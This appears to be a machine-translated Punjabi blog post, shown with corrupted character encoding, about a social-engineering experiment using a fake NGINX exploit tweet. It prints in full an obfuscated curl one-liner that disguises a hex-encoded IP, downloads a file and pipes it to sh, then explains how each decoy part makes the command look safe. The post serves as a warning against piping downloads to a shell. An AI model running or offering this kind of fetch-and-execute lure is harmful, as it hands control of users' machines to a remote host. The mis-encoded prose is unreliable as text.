เจ‡เฉฑเจ• เจจเจ•เจฒเฉ€ nginx เจธเจผเฉ‹เจธเจผเจฃ เจฆเฉ‡ เจจเจพเจฒ เจ‡เฉฑเจ• เจธเจฎเจพเจœเจฟเจ• เจชเฉเจฐเจฏเฉ‹เจ— เจฆเฉ€ เจธเจซเจฒเจคเจพ

เจจเฉ‹เจŸ เจ•เจฐเฉ‹เฅค เจ…เจจเฉเจตเจพเจฆ: เจฒเฉ‡เจ–เจ• เจฎเฉ‚เจฒ เจจเฉ‹เจŸ, 1 เจœเฉ‚เจจ เจจเฉ‚เฉฐ เจชเฉเจฐเจ•เจพเจธเจผเจฟเจค, เจธเฉ‚เจšเจจเจพ เจธเฉเจฐเฉฑเจ–เจฟเจ† เจตเจฟเฉฑเจš เจฆเจฟเจฒเจšเจธเจชเฉ€ เจฐเฉฑเจ–เจฃ เจตเจพเจฒเจฟเจ†เจ‚ เจตเจฟเฉฑเจš เจ‡เฉฑเจ• เจชเฉเจฐเจฏเฉ‹เจ— เจ•เจฐเจจ เจฆเจพ เจซเฉˆเจธเจฒเจพ เจ•เฉ€เจคเจพ เจ—เจฟเจ† เจนเฉˆเฅค เจ…เจœเจฟเจนเจพ เจ•เจฐเจจ เจฒเจˆ, เจ‰เจธเจจเฉ‡ เจตเฉˆเจฌ เจธเจฐเจตเจฐ เจตเจฟเฉฑเจš เจ‡เฉฑเจ• เจ…เจฃเจœเจพเจฃ เจ•เจฎเจœเจผเฉ‹เจฐเฉ€ เจฒเจˆ เจ‡เฉฑเจ• เจœเจพเจ…เจฒเฉ€ เจธเจผเฉ‹เจธเจผเจฃ เจคเจฟเจ†เจฐ เจ•เฉ€เจคเจพ เจ…เจคเฉ‡ เจ‡เจธเจจเฉ‚เฉฐ เจ†เจชเจฃเฉ‡ เจŸเจตเจฟเฉฑเจŸเจฐ 'เจคเฉ‡ เจชเฉ‹เจธเจŸ เจ•เฉ€เจคเจพเฅค เจ‰เจธ เจฆเฉ€เจ†เจ‚ เจงเจพเจฐเจจเจพเจตเจพเจ‚ - เจ‰เจนเจจเจพเจ‚ เจฎเจพเจนเจฐเจพเจ‚ เจฆเฉเจ†เจฐเจพ เจคเฉเจฐเฉฐเจค เจชเฉเจฐเจ—เจŸ เจนเฉ‹เจฃ เจฒเจˆ เจœเฉ‹ เจ•เฉ‹เจก เจตเจฟเฉฑเจš เจธเจชเฉฑเจธเจผเจŸ เจงเฉ‹เจ–เจพ เจตเฉ‡เจ–เจฃเจ—เฉ‡ - เจจเจพ เจธเจฟเจฐเจซ เจธเฉฑเจš เจนเฉ‹เจ ... เจ‰เจนเจจเจพเจ‚ เจจเฉ‡ เจธเจพเจฐเฉ€เจ†เจ‚ เจ‰เจฎเฉ€เจฆเจพเจ‚ เจจเฉ‚เฉฐ เจชเจพเจฐ เจ•เฉ€เจคเจพ, เจ…เจคเฉ‡ เจ‰เจฒเจŸ เจฆเจฟเจธเจผเจพ เจตเจฟเฉฑเจš: เจŸเจตเฉ€เจŸ เจจเฉ‚เฉฐ เจฌเจนเฉเจค เจธเจพเจฐเฉ‡ เจฒเฉ‹เจ•เจพเจ‚ เจคเฉ‹เจ‚ เจญเจพเจฐเฉ€ เจธเจฎเจฐเจฅเจจ เจชเฉเจฐเจพเจชเจค เจนเฉ‹เจ‡เจ† เจœเฉ‹ เจจเจนเฉ€เจ‚ เจ•เจฐเจฆเฉ‡ เจธเจจ. เจ‡เจธเจฆเฉ€ เจธเจฎเฉฑเจ—เจฐเฉ€ เจฆเฉ€ เจœเจพเจ‚เจš เจ•เจฐเฉ‹เฅค

เจ‡เฉฑเจ• เจจเจ•เจฒเฉ€ nginx เจธเจผเฉ‹เจธเจผเจฃ เจฆเฉ‡ เจจเจพเจฒ เจ‡เฉฑเจ• เจธเจฎเจพเจœเจฟเจ• เจชเฉเจฐเจฏเฉ‹เจ— เจฆเฉ€ เจธเจซเจฒเจคเจพ

TL;DR: เจ•เจฟเจธเฉ‡ เจตเฉ€ เจธเจฅเจฟเจคเฉ€ เจตเจฟเฉฑเจš sh เจœเจพเจ‚ bash เจตเจฟเฉฑเจš เจซเจพเจˆเจฒ เจชเจพเจˆเจชเจฒเจพเจˆเจจเจฟเฉฐเจ— เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจจเจพ เจ•เจฐเฉ‹เฅค เจ‡เจน เจคเฉเจนเจพเจกเฉ‡ เจ•เฉฐเจชเจฟเจŠเจŸเจฐ เจฆเจพ เจ•เฉฐเจŸเจฐเฉ‹เจฒ เจ—เฉเจ†เจ‰เจฃ เจฆเจพ เจตเจงเฉ€เจ† เจคเจฐเฉ€เจ•เจพ เจนเฉˆเฅค

เจฎเฉˆเจ‚ เจคเฉเจนเจพเจกเฉ‡ เจจเจพเจฒ เจ‡เฉฑเจ• เจ•เจพเจฎเจฟเจ• PoC เจธเจผเฉ‹เจธเจผเจฃ เจฌเจพเจฐเฉ‡ เจ‡เฉฑเจ• เจ›เฉ‹เจŸเฉ€ เจ•เจนเจพเจฃเฉ€ เจธเจพเจ‚เจเฉ€ เจ•เจฐเจจเจพ เจšเจพเจนเฉเฉฐเจฆเจพ เจนเจพเจ‚ เจœเฉ‹ 31 เจฎเจˆ เจจเฉ‚เฉฐ เจฌเจฃเจพเจˆ เจ—เจˆ เจธเฉ€เฅค เจคเฉ‹เจ‚ เจ–เจผเจฌเจฐเจพเจ‚ เจฆเฉ‡ เจœเจตเจพเจฌ เจตเจฟเฉฑเจš เจ‰เจน เจคเฉเจฐเฉฐเจค เจชเฉเจฐเจ—เจŸ เจนเฉ‹เจ‡เจ† เจ…เจฒเฉ€เจธเจพ เจเจธเฉ‡เจœ เจธเจผเฉ‡เจตเจšเฉ‡เจ‚เจ•เฉ‹, เจฎเฉˆเจ‚เจฌเจฐ เจœเจผเฉ€เจฐเฉ‹ เจกเฉ‡เจ… เจชเจนเจฟเจฒ (ZDI), เจœเฉ‹ เจ•เจฟ NGINX เจตเจฟเฉฑเจš เจ‡เฉฑเจ• เจ•เจฎเจœเจผเฉ‹เจฐเฉ€ เจฌเจพเจฐเฉ‡ เจœเจพเจฃเจ•เจพเจฐเฉ€ เจœเฉ‹ RCE (เจฐเจฟเจฎเฉ‹เจŸ เจ•เฉ‹เจก เจเจ—เจœเจผเฉ€เจ•เจฟเจŠเจธเจผเจจ) เจตเฉฑเจฒ เจฒเฉˆ เจœเจพเจ‚เจฆเฉ€ เจนเฉˆ, เจœเจฒเจฆเฉ€ เจนเฉ€ เจ–เฉเจฒเจพเจธเจพ เจ•เฉ€เจคเจพ เจœเจพเจตเฉ‡เจ—เจพเฅค เจ•เจฟเจ‰เจ‚เจ•เจฟ เจเจจเจœเฉ€เจ†เจˆเจเจจเจเจ•เจธ เจฌเจนเฉเจค เจธเจพเจฐเฉ€เจ†เจ‚ เจตเฉˆเจฌเจธเจพเจˆเจŸเจพเจ‚ เจจเฉ‚เฉฐ เจธเจผเจ•เจคเฉ€ เจชเฉเจฐเจฆเจพเจจ เจ•เจฐเจฆเจพ เจนเฉˆ, เจ‡เจธ เจฒเจˆ เจ–เจผเจฌเจฐเจพเจ‚ เจ‡เฉฑเจ• เจงเจฎเจพเจ•เฉ‡เจฆเจพเจฐ เจนเฉ‹เจฃเฉ€เจ†เจ‚ เจšเจพเจนเฉ€เจฆเฉ€เจ†เจ‚ เจนเจจเฅค เจชเจฐ "เจœเจผเจฟเฉฐเจฎเฉ‡เจตเจพเจฐ เจ–เฉเจฒเจพเจธเฉ‡" เจฆเฉ€ เจชเฉเจฐเจ•เจฟเจฐเจฟเจ† เจตเจฟเฉฑเจš เจฆเฉ‡เจฐเฉ€ เจฆเฉ‡ เจ•เจพเจฐเจจ, เจœเฉ‹ เจ•เฉเจ เจนเฉ‹เจ‡เจ† เจธเฉ€ เจ‰เจธ เจฆเฉ‡ เจตเฉ‡เจฐเจตเจฟเจ†เจ‚ เจฆเจพ เจชเจคเจพ เจจเจนเฉ€เจ‚ เจธเฉ€ - เจ‡เจน เจฎเจฟเจ†เจฐเฉ€ ZDI เจชเฉเจฐเจ•เจฟเจฐเจฟเจ† เจนเฉˆเฅค

เจ‡เฉฑเจ• เจจเจ•เจฒเฉ€ nginx เจธเจผเฉ‹เจธเจผเจฃ เจฆเฉ‡ เจจเจพเจฒ เจ‡เฉฑเจ• เจธเจฎเจพเจœเจฟเจ• เจชเฉเจฐเจฏเฉ‹เจ— เจฆเฉ€ เจธเจซเจฒเจคเจพ
เจŸเจตเฉ€เจŸ NGINX เจตเจฟเฉฑเจš เจ•เจฎเจœเจผเฉ‹เจฐเฉ€ เจฆเฉ‡ เจ–เฉเจฒเจพเจธเฉ‡ เจฌเจพเจฐเฉ‡

เจ•เจฐเจฒ เจตเจฟเฉฑเจš เจ‡เฉฑเจ• เจจเจตเฉ€เจ‚ เจ—เฉเฉฐเจเจฒเจฆเจพเจฐ เจคเจ•เจจเฉ€เจ• 'เจคเฉ‡ เจ•เฉฐเจฎ เจ•เจฐเจจเจพ เจชเฉ‚เจฐเจพ เจ•เจฐเจจ เจคเฉ‹เจ‚ เจฌเจพเจ…เจฆ, เจฎเฉˆเจ‚ เจ…เจธเจฒ เจŸเจตเฉ€เจŸ เจฆเจพ เจนเจตเจพเจฒเจพ เจฆเจฟเฉฑเจคเจพ เจ…เจคเฉ‡ "เจ‡เฉฑเจ• เจตเจฐเจ•เจฟเฉฐเจ— เจชเฉ€เจ“เจธเฉ€ เจฒเฉ€เจ• เจ•เฉ€เจคเจพ" เจœเจฟเจธ เจตเจฟเฉฑเจš เจ•เฉ‹เจก เจฆเฉ€ เจ‡เฉฑเจ• เจฒเจพเจˆเจจ เจนเฉเฉฐเจฆเฉ€ เจนเฉˆ เจœเฉ‹ เจ–เฉ‹เจœเฉ€ เจ—เจˆ เจ•เจฎเจœเจผเฉ‹เจฐเฉ€ เจฆเจพ เจธเจผเฉ‹เจธเจผเจฃ เจ•เจฐเจฆเฉ€ เจนเฉˆเฅค เจฌเฉ‡เจธเจผเฉฑเจ•, เจ‡เจน เจชเฉ‚เจฐเฉ€ เจฌเจ•เจตเจพเจธ เจธเฉ€. เจฎเฉˆเจ‚ เจฎเฉฐเจจเจฟเจ† เจ•เจฟ เจฎเฉˆเจ‚ เจคเฉเจฐเฉฐเจค เจฌเฉ‡เจจเจ•เจพเจฌ เจนเฉ‹ เจœเจพเจตเจพเจ‚เจ—เจพ, เจ…เจคเฉ‡ เจ‡เจน เจ•เจฟ เจธเจญ เจคเฉ‹เจ‚ เจตเจงเฉ€เจ† เจฎเฉˆเจจเฉ‚เฉฐ เจ•เฉเจ เจฐเฉ€เจŸเจตเฉ€เจŸ เจฎเจฟเจฒเจฃเจ—เฉ‡ (เจ“เจน เจ เฉ€เจ• เจนเฉˆ).

เจ‡เฉฑเจ• เจจเจ•เจฒเฉ€ nginx เจธเจผเฉ‹เจธเจผเจฃ เจฆเฉ‡ เจจเจพเจฒ เจ‡เฉฑเจ• เจธเจฎเจพเจœเจฟเจ• เจชเฉเจฐเจฏเฉ‹เจ— เจฆเฉ€ เจธเจซเจฒเจคเจพ
เจŸเจตเฉ€เจŸ เจจเจ•เจฒเฉ€ เจธเจผเฉ‹เจธเจผเจฃ เจฆเฉ‡ เจจเจพเจฒ

เจนเจพเจฒเจพเจ‚เจ•เจฟ, เจฎเฉˆเจ‚ เจ•เจฒเจชเจจเจพ เจจเจนเฉ€เจ‚ เจ•เจฐ เจธเจ•เจฆเจพ เจธเฉ€ เจ•เจฟ เจ…เฉฑเจ—เฉ‡ เจ•เฉ€ เจนเฉ‹เจ‡เจ†. เจฎเฉ‡เจฐเฉ‡ เจŸเจตเฉ€เจŸ เจฆเฉ€ เจชเฉเจฐเจธเจฟเฉฑเจงเฉ€ เจ…เจธเจฎเจพเจจ เจจเฉ‚เฉฐ เจ›เฉ‚เจน เจ—เจˆเฅค เจนเฉˆเจฐเจพเจจเฉ€ เจฆเฉ€ เจ—เฉฑเจฒ เจนเฉˆ เจ•เจฟ เจ‡เจธ เจธเจฎเฉ‡เจ‚ (15:00 เจฎเจพเจธเจ•เฉ‹ เจธเจฎเจพเจ‚ 1 เจœเฉ‚เจจ) เจฌเจนเฉเจค เจ˜เฉฑเจŸ เจฒเฉ‹เจ•เจพเจ‚ เจจเฉ‚เฉฐ เจ‡เจน เจ…เจนเจฟเจธเจพเจธ เจนเฉ‹เจ‡เจ† เจนเฉˆ เจ•เจฟ เจ‡เจน เจœเจพเจ…เจฒเฉ€ เจนเฉˆเฅค เจฌเจนเฉเจค เจธเจพเจฐเฉ‡ เจฒเฉ‹เจ• เจ‡เจธเจฆเฉ€ เจœเจพเจ‚เจš เจ•เฉ€เจคเฉ‡ เจฌเจฟเจจเจพเจ‚ เจ‡เจธเจจเฉ‚เฉฐ เจฐเฉ€เจŸเจตเฉ€เจŸ เจ•เจฐเจฆเฉ‡ เจนเจจ (เจ†เจ‰เจŸเจชเฉเฉฑเจŸ เจฆเฉ‡ เจธเฉเฉฐเจฆเจฐ ASCII เจ—เฉเจฐเจพเจซเจฟเจ•เจธ เจฆเฉ€ เจชเฉเจฐเจธเจผเฉฐเจธเจพ เจ•เจฐเจจ เจฆเจฟเจ“)เฅค

เจ‡เฉฑเจ• เจจเจ•เจฒเฉ€ nginx เจธเจผเฉ‹เจธเจผเจฃ เจฆเฉ‡ เจจเจพเจฒ เจ‡เฉฑเจ• เจธเจฎเจพเจœเจฟเจ• เจชเฉเจฐเจฏเฉ‹เจ— เจฆเฉ€ เจธเจซเจฒเจคเจพ
เจœเจผเจฐเจพ เจฆเฉ‡เจ–เฉ‹ เจ•เจฟ เจ‡เจน เจ•เจฟเฉฐเจจเฉ€ เจธเฉเฉฐเจฆเจฐ เจนเฉˆ!

เจนเจพเจฒเจพเจ‚เจ•เจฟ เจ‡เจน เจธเจพเจฐเฉ‡ เจฒเฉ‚เจชเจธ เจ…เจคเฉ‡ เจฐเฉฐเจ— เจฌเจนเฉเจค เจตเจงเฉ€เจ† เจนเจจ, เจ‡เจน เจธเจชเฉฑเจธเจผเจŸ เจนเฉˆ เจ•เจฟ เจฒเฉ‹เจ•เจพเจ‚ เจจเฉ‚เฉฐ เจ‰เจนเจจเจพเจ‚ เจจเฉ‚เฉฐ เจฆเฉ‡เจ–เจฃ เจฒเจˆ เจ‰เจนเจจเจพเจ‚ เจฆเฉ€ เจฎเจธเจผเฉ€เจจ 'เจคเฉ‡ เจ•เฉ‹เจก เจšเจฒเจพเจ‰เจฃเจพ เจชเฉˆเจ‚เจฆเจพ เจนเฉˆเฅค เจ–เฉเจธเจผเจ•เจฟเจธเจฎเจคเฉ€ เจจเจพเจฒ, เจฌเฉเจฐเจพเจ‰เจœเจผเจฐ เจ‰เจธเฉ‡ เจคเจฐเฉเจนเจพเจ‚ เจ•เฉฐเจฎ เจ•เจฐเจฆเฉ‡ เจนเจจ, เจ…เจคเฉ‡ เจ‡เจธ เจคเฉฑเจฅ เจฆเฉ‡ เจจเจพเจฒ เจ•เจฟ เจฎเฉˆเจ‚ เจ…เจธเจฒ เจตเจฟเฉฑเจš เจ•เจพเจจเฉ‚เฉฐเจจเฉ€ เจฎเฉเจธเฉ€เจฌเจค เจตเจฟเฉฑเจš เจจเจนเฉ€เจ‚ เจชเฉˆเจฃเจพ เจšเจพเจนเฉเฉฐเจฆเจพ เจธเฉ€, เจฎเฉ‡เจฐเฉ€ เจธเจพเจˆเจŸ เจตเจฟเฉฑเจš เจฆเฉฑเจฌเจฟเจ† เจ•เฉ‹เจก เจ•เจฟเจธเฉ‡ เจตเฉ€ เจตเจพเจงเฉ‚ เจ•เฉ‹เจก เจจเฉ‚เฉฐ เจธเจฅเจพเจชเจค เจ•เจฐเจจ เจœเจพเจ‚ เจšเจฒเจพเจ‰เจฃ เจฆเฉ€ เจ•เฉ‹เจธเจผเจฟเจธเจผ เจ•เฉ€เจคเฉ‡ เจฌเจฟเจจเจพเจ‚ เจˆเจ•เฉ‹ เจ•เจพเจฒ เจ•เจฐ เจฐเจฟเจนเจพ เจธเฉ€เฅค

เจ›เฉ‹เจŸเจพ เจงเจฟเจ†เจจ: เจจเฉˆเฉฑเจŸเจธเจชเฉ‚เจ•เฉ€, เจญเจพเจต, เจฎเฉˆเจ‚ เจ…เจคเฉ‡ เจŸเฉ€เจฎ เจฆเฉ‡ เจนเฉ‹เจฐ เจฒเฉ‹เจ• เจ เฉฑเจ—เจพเจ‚ เจฆเฉ€ เจญเฉ€เฉœ เจ…เจธเฉ€เจ‚ เจ•เฉเจ เจธเจฎเฉ‡เจ‚ เจคเฉ‹เจ‚ เจ•เจฐเจฒ เจ•เจฎเจพเจ‚เจกเจพเจ‚ เจจเฉ‚เฉฐ เจ…เจธเจชเจธเจผเจŸ เจ•เจฐเจจ เจฆเฉ‡ เจตเฉฑเจ–-เจตเฉฑเจ– เจคเจฐเฉ€เจ•เจฟเจ†เจ‚ เจจเจพเจฒ เจ–เฉ‡เจก เจฐเจนเฉ‡ เจนเจพเจ‚ เจ•เจฟเจ‰เจ‚เจ•เจฟ เจ‡เจน เจฌเจนเฉเจค เจตเจงเฉ€เจ† เจนเฉˆ... เจ…เจคเฉ‡ เจ…เจธเฉ€เจ‚ เจ—เฉ€เจ•เจธ เจนเจพเจ‚เฅค netspooky เจ…เจคเฉ‡ dnz เจจเฉ‡ เจ•เจˆ เจจเจตเฉ‡เจ‚ เจคเจฐเฉ€เจ•เฉ‡ เจฒเฉฑเจญเฉ‡ เจนเจจ เจœเฉ‹ เจฎเฉ‡เจฐเฉ‡ เจฒเจˆ เจฌเจนเฉเจค เจตเจงเฉ€เจ† เจฒเฉฑเจ—เจฆเฉ‡ เจธเจจเฅค เจฎเฉˆเจ‚ เจฎเจœเจผเฉ‡ เจตเจฟเฉฑเจš เจธเจผเจพเจฎเจฒ เจนเฉ‹ เจ—เจฟเจ† เจ…เจคเฉ‡ เจŸเฉเจฐเจฟเจ•เจธ เจฆเฉ‡ เจฌเฉˆเจ— เจตเจฟเฉฑเจš IP เจฆเจธเจผเจฎเจฒเจต เจชเจฐเจฟเจตเจฐเจคเจจ เจœเฉ‹เฉœเจจ เจฆเฉ€ เจ•เฉ‹เจธเจผเจฟเจธเจผ เจ•เฉ€เจคเฉ€เฅค เจ‡เจน เจชเจคเจพ เจšเจฒเจฆเจพ เจนเฉˆ เจ•เจฟ IP เจจเฉ‚เฉฐ เจนเฉˆเจ•เจธเจพเจกเฉˆเจธเฉ€เจฎเจฒ เจซเจพเจฐเจฎเฉˆเจŸ เจตเจฟเฉฑเจš เจตเฉ€ เจฌเจฆเจฒเจฟเจ† เจœเจพ เจธเจ•เจฆเจพ เจนเฉˆเฅค เจ‡เจธ เจคเฉ‹เจ‚ เจ‡เจฒเจพเจตเจพ, เจ•เจฐเจฒ เจ…เจคเฉ‡ เจœเจผเจฟเจ†เจฆเจพเจคเจฐ เจนเฉ‹เจฐ NIX เจŸเฉ‚เจฒ เจ–เฉเจธเจผเฉ€ เจจเจพเจฒ เจนเฉˆเจ•เจธเจพเจกเฉˆเจธเฉ€เจฎเจฒ IPs เจ–เจพเจ‚เจฆเฉ‡ เจนเจจ! เจ‡เจธ เจฒเจˆ เจ‡เจน เจธเจฟเจฐเจซเจผ เจ‡เฉฑเจ• เจฏเจ•เฉ€เจจเจจ เจ…เจคเฉ‡ เจธเฉเจฐเฉฑเจ–เจฟเจ…เจค เจฆเจฟเฉฑเจ– เจตเจพเจฒเฉ€ เจ•เจฎเจพเจ‚เจก เจฒเจพเจˆเจจ เจฌเจฃเจพเจ‰เจฃ เจฆเฉ€ เจ—เฉฑเจฒ เจธเฉ€เฅค เจ†เจ–เจฐเจ•เจพเจฐ เจฎเฉˆเจ‚ เจ‡เจธ 'เจคเฉ‡ เจธเฉˆเจŸเจฒ เจนเฉ‹ เจ—เจฟเจ†:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

เจธเจฎเจพเจœเจฟเจ•-เจ‡เจฒเฉˆเจ•เจŸเฉเจฐเจพเจจเจฟเจ• เจ‡เฉฐเจœเฉ€เจจเฉ€เจ…เจฐเจฟเฉฐเจ— (SEE) เจธเจฟเจฐเจซเจผ เจซเจฟเจธเจผเจฟเฉฐเจ— เจคเฉ‹เจ‚ เจตเฉฑเจง เจนเฉˆ

เจธเฉเจฐเฉฑเจ–เจฟเจ† เจ…เจคเฉ‡ เจœเจพเจฃ-เจชเจ›เจพเจฃ เจ‡เจธ เจชเฉเจฐเจฏเฉ‹เจ— เจฆเจพ เจ‡เฉฑเจ• เจชเฉเจฐเจฎเฉเฉฑเจ– เจนเจฟเฉฑเจธเจพ เจธเจจเฅค เจฎเฉˆเจจเฉ‚เฉฐ เจฒเจ—เจฆเจพ เจนเฉˆ เจ•เจฟ เจ‰เจน เจ‰เจน เจนเจจ เจœเฉ‹ เจ‰เจธเจฆเฉ€ เจธเจซเจฒเจคเจพ เจฆเฉ€ เจ…เจ—เจตเจพเจˆ เจ•เจฐเจฆเฉ‡ เจนเจจ. เจ•เจฎเจพเจ‚เจก เจฒเจพเจˆเจจ เจธเจชเจธเจผเจŸ เจคเฉŒเจฐ 'เจคเฉ‡ "127.0.0.1" (เจœเจพเจฃเจฟเจ† เจฒเฉ‹เจ•เจฒเจนเฉ‹เจธเจŸ) เจฆเจพ เจนเจตเจพเจฒเจพ เจฆเฉ‡ เจ•เฉ‡ เจธเฉเจฐเฉฑเจ–เจฟเจ† เจจเฉ‚เฉฐ เจฆเจฐเจธเจพเจ‰เจ‚เจฆเฉ€ เจนเฉˆเฅค เจฒเฉ‹เจ•เจฒเจนเฉ‹เจธเจŸ เจจเฉ‚เฉฐ เจธเฉเจฐเฉฑเจ–เจฟเจ…เจค เจฎเฉฐเจจเจฟเจ† เจœเจพเจ‚เจฆเจพ เจนเฉˆ เจ…เจคเฉ‡ เจ‡เจธ 'เจคเฉ‡ เจฎเฉŒเจœเฉ‚เจฆ เจกเฉ‡เจŸเจพ เจ•เจฆเฉ‡ เจตเฉ€ เจคเฉเจนเจพเจกเฉ‡ เจ•เฉฐเจชเจฟเจŠเจŸเจฐ เจจเฉ‚เฉฐ เจจเจนเฉ€เจ‚ เจ›เฉฑเจกเจฆเจพเฅค

เจœเจพเจฃ-เจชเจ›เจพเจฃ เจชเฉเจฐเจฏเฉ‹เจ— เจฆเจพ เจฆเฉ‚เจœเจพ เจฎเฉเฉฑเจ– SEE เจญเจพเจ— เจธเฉ€เฅค เจ•เจฟเจ‰เจ‚เจ•เจฟ เจŸเฉ€เจšเจพ เจฆเจฐเจธเจผเจ• เจฎเฉเฉฑเจ– เจคเฉŒเจฐ 'เจคเฉ‡ เจ•เฉฐเจชเจฟเจŠเจŸเจฐ เจธเฉเจฐเฉฑเจ–เจฟเจ† เจฆเฉ€เจ†เจ‚ เจฌเฉเจจเจฟเจ†เจฆเฉ€ เจ—เฉฑเจฒเจพเจ‚ เจคเฉ‹เจ‚ เจœเจพเจฃเฉ‚ เจฒเฉ‹เจ• เจธเจผเจพเจฎเจฒ เจนเฉเฉฐเจฆเฉ‡ เจนเจจ, เจ‡เจธ เจฒเจˆ เจ•เฉ‹เจก เจฌเจฃเจพเจ‰เจฃเจพ เจฎเจนเฉฑเจคเจตเจชเฉ‚เจฐเจจ เจธเฉ€ เจคเจพเจ‚ เจœเฉ‹ เจ‡เจธ เจฆเฉ‡ เจ•เฉเจ เจนเจฟเฉฑเจธเฉ‡ เจœเจพเจฃเฉ‡-เจชเจ›เจพเจฃเฉ‡ เจ…เจคเฉ‡ เจœเจพเจฃเฉ‡-เจชเจ›เจพเจฃเฉ‡ เจฒเฉฑเจ— เจธเจ•เจฃ (เจ…เจคเฉ‡ เจ‡เจธ เจฒเจˆ เจธเฉเจฐเฉฑเจ–เจฟเจ…เจค)เฅค เจชเฉเจฐเจพเจฃเฉ‡ เจธเจผเฉ‹เจธเจผเจฃ เจธเฉฐเจ•เจฒเจชเจพเจ‚ เจฆเฉ‡ เจคเฉฑเจค เจ‰เจงเจพเจฐ เจฒเฉˆเจฃเจพ เจ…เจคเฉ‡ เจ‰เจนเจจเจพเจ‚ เจจเฉ‚เฉฐ เจ…เจธเจพเจงเจพเจฐเจจ เจคเจฐเฉ€เจ•เฉ‡ เจจเจพเจฒ เจœเฉ‹เฉœเจจเจพ เจฌเจนเฉเจค เจธเจซเจฒ เจธเจพเจฌเจค เจนเฉ‹เจ‡เจ† เจนเฉˆเฅค

เจนเฉ‡เจ เจพเจ‚ เจ‡เจ•-เจฒเจพเจˆเจจเจฐ เจฆเจพ เจตเจฟเจธเจคเฉเจฐเจฟเจค เจตเจฟเจธเจผเจฒเฉ‡เจธเจผเจฃ เจนเฉˆเฅค เจ‡เจธ เจธเฉ‚เจšเฉ€ เจตเจฟเฉฑเจš เจธเจญ เจ•เฉเจ เจชเจนเจฟเจจเจฆเจพ เจนเฉˆ เจ•เจพเจธเจฎเฉˆเจŸเจฟเจ• เจ•เฉเจฆเจฐเจค, เจ…เจคเฉ‡ เจ‡เจธเจฆเฉ€ เจ…เจธเจฒ เจ•เจพเจฐเจตเจพเจˆ เจฒเจˆ เจ…เจฎเจฒเฉ€ เจคเฉŒเจฐ 'เจคเฉ‡ เจ•เฉเจ เจตเฉ€ เจฒเฉ‹เฉœเฉ€เจ‚เจฆเจพ เจจเจนเฉ€เจ‚ เจนเฉˆเฅค

เจ•เจฟเจนเฉœเฉ‡ เจนเจฟเฉฑเจธเฉ‡ เจ…เจธเจฒ เจตเจฟเฉฑเจš เจœเจผเจฐเฉ‚เจฐเฉ€ เจนเจจ? เจ‡เจน -gsS, -O 0x0238f06a, |sh เจ…เจคเฉ‡ เจตเฉˆเฉฑเจฌ เจธเจฐเจตเจฐ เจ–เฉเจฆเฅค เจตเฉˆเจฌ เจธเจฐเจตเจฐ เจตเจฟเฉฑเจš เจ•เฉ‹เจˆ เจ–เจคเจฐเจจเจพเจ• เจจเจฟเจฐเจฆเฉ‡เจธเจผ เจจเจนเฉ€เจ‚ เจธเจจ, เจชเจฐ เจธเจฟเจฐเจซเจผ เจ•เจฎเจพเจ‚เจกเจพเจ‚ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจ•เฉ‡ ASCII เจ—เฉเจฐเจพเจซเจฟเจ•เจธ เจชเฉเจฐเจฆเจพเจจ เจ•เฉ€เจคเฉ‡ เจ—เจ เจธเจจ echo เจตเจฟเฉฑเจš เจธเจผเจพเจฎเจฟเจฒ เจธเจ•เฉเจฐเจฟเจชเจŸ เจตเจฟเฉฑเจš index.html. เจœเจฆเฉ‹เจ‚ เจ‰เจชเจญเฉ‹เจ—เจคเจพ เจจเฉ‡ เจจเจพเจฒ เจ‡เฉฑเจ• เจฒเจพเจˆเจจ เจฆเจพเจ–เจฒ เจ•เฉ€เจคเฉ€ |sh เจฎเฉฑเจง เจตเจฟเฉฑเจš, index.html เจฒเฉ‹เจก เจ•เฉ€เจคเจพ เจ…เจคเฉ‡ เจšเจฒเจพเจ‡เจ†เฅค เจ–เฉเจธเจผเจ•เจฟเจธเจฎเจคเฉ€ เจจเจพเจฒ, เจตเฉˆเจฌ เจธเจฐเจตเจฐ เจฆเฉ‡ เจฐเฉฑเจ–เจฟเจ…เจ•เจพเจ‚ เจฆเฉ‡ เจ•เฉ‹เจˆ เจฎเจพเฉœเฉ‡ เจ‡เจฐเจพเจฆเฉ‡ เจจเจนเฉ€เจ‚ เจธเจจเฅค

  • ../../../%00 โ€” เจกเจพเจ‡เจฐเฉˆเจ•เจŸเจฐเฉ€ เจคเฉ‹เจ‚ เจฌเจพเจนเจฐ เจœเจพเจฃ เจจเฉ‚เฉฐ เจฆเจฐเจธเจพเจ‰เจ‚เจฆเจพ เจนเฉˆ;
  • ngx_stream_module.so โ€” เจ‡เฉฑเจ• เจฌเฉ‡เจคเจฐเจคเฉ€เจฌ NGINX เจฎเฉ‹เจกเฉ€เจŠเจฒ เจฆเจพ เจฎเจพเจฐเจ—;
  • /bin/sh%00<'protocol:TCP' - เจ…เจธเฉ€เจ‚ เจ…เจจเฉเจฎเจพเจจเจค เจคเฉŒเจฐ 'เจคเฉ‡ เจฒเจพเจ‚เจš เจ•เจฐ เจฐเจนเฉ‡ เจนเจพเจ‚ /bin/sh เจŸเจพเจฐเจ—เจฟเจŸ เจฎเจธเจผเฉ€เจจ 'เจคเฉ‡ เจ…เจคเฉ‡ เจ†เจ‰เจŸเจชเฉเฉฑเจŸ เจจเฉ‚เฉฐ TCP เจšเฉˆเจจเจฒ 'เจคเฉ‡ เจฐเฉ€เจกเจพเจ‡เจฐเฉˆเจ•เจŸ เจ•เจฐเฉ‹;
  • -O 0x0238f06a#PLToffset - เจ—เฉเจชเจค เจธเจฎเฉฑเจ—เจฐเฉ€, เจชเฉ‚เจฐเจ• #PLToffset, เจ•เจฟเจธเฉ‡ เจคเจฐเฉเจนเจพเจ‚ PLT เจตเจฟเฉฑเจš เจฎเฉŒเจœเฉ‚เจฆ เจ‡เฉฑเจ• เจฎเฉˆเจฎเฉ‹เจฐเฉ€ เจ†เจซเจธเฉˆเฉฑเจŸ เจฆเฉ€ เจคเจฐเฉเจนเจพเจ‚ เจฆเฉ‡เจ–เจฃ เจฒเจˆ;
